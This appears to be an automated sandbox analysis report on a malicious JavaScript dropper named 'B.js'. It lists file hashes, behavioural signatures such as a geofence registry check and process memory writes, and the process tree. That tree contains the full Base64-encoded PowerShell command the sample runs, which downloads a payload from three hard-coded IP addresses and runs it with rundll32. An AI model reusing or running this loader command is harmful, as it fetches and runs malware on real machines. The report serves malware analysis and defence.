Analysis
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max time kernel
135s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
04/05/2023, 10:34
Static task
static1
Behavioral task
behavioral1
Sample
B.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
B.js
Resource
win10v2004-20230220-en
General
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Target
B.js
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Size
57KB
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MD5
52d96ebabe2bc08cb504f4b7b29b5f65
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SHA1
a609c8c0fbd4867421d65fa79834c3527cbb7690
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SHA256
ef023b0a3aa55f424298cb1f64a496392c61c02b8167b04feedc7cc31d123f2b
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SHA512
046cbcc8c80e2688432eaf1cf957388818f828642b6328fea5553adac4a25813ec875678c5c501577dc7c7288c9adbffd71195995aab18d51a76e9cff7b30c30
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SSDEEP
768:VyMNhRhlTosj7PJMenmwELqOttPki0P9B9VosNMaEiGHGr6kQ7Ig1KzHyyLdSmKl:fUsZnwGGkQ7A0xherXT4EANnOvwr
Malware Config
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 7 1936 powershell.exe 10 1936 powershell.exe 20 1936 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1936 powershell.exe 1936 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1936 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3240 wrote to memory of 2360 3240 wscript.exe 82 PID 3240 wrote to memory of 2360 3240 wscript.exe 82 PID 2360 wrote to memory of 1936 2360 wscript.exe 83 PID 2360 wrote to memory of 1936 2360 wscript.exe 83
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\B.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\B.js" UnpiquedUnpreventative WiregrassUncrisp inthralls indiscussible2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAB1AG4AZABlAHIAcABpAHQAYwBoAEUAeABoAGkAYgBpAHQAaQBvAG4AaQB6AGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADMANAAuADEAMQA5AC4ANwA5AC8AVQBYAFkALwBxAHQAUgBHAGgAaQBVAHAANgBlADYALABoAHQAdABwADoALwAvADEAMAA0AC4AMgAzADQALgAxADEAOAAuADEANQAzAC8AZQBoAHQAdABSADMALwBBAFcAawA0AHYASAAsAGgAdAB0AHAAOgAvAC8AMQA3ADIALgA4ADYALgAxADIAMwAuADEAMAAzAC8ANQBNAEcAeQBWAC8ANwB1ADcAZQBrADYARgA2ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGMAaABvAGsAZQBiAGUAcgByAHkAUQB1AGUAYQBjAGgAaQBlAHIAIABpAG4AIAAkAHUAbgBkAGUAcgBwAGkAdABjAGgARQB4AGgAaQBiAGkAdABpAG8AbgBpAHoAZQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAG8AawBlAGIAZQByAHIAeQBRAHUAZQBhAGMAaABpAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANQAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgBDAEEARwBrAEEAYwB3AEIAaABBAEcAYwBBAGMAZwBCAGwAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAYwBBAEIAcwBBAEcARQBBAFkAdwBCAGwAQQBIAEkAQQBVAEEAQgBvAEEASABrAEEAYgBBAEIAcwBBAEcAOABBAGMAQQBCAHYAQQBHAFEAQQBiAHcAQgAxAEEASABNAEEATABBAEIAVQBBAEcAawBBAGIAUQBCAGwAQQBEAHMAQQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82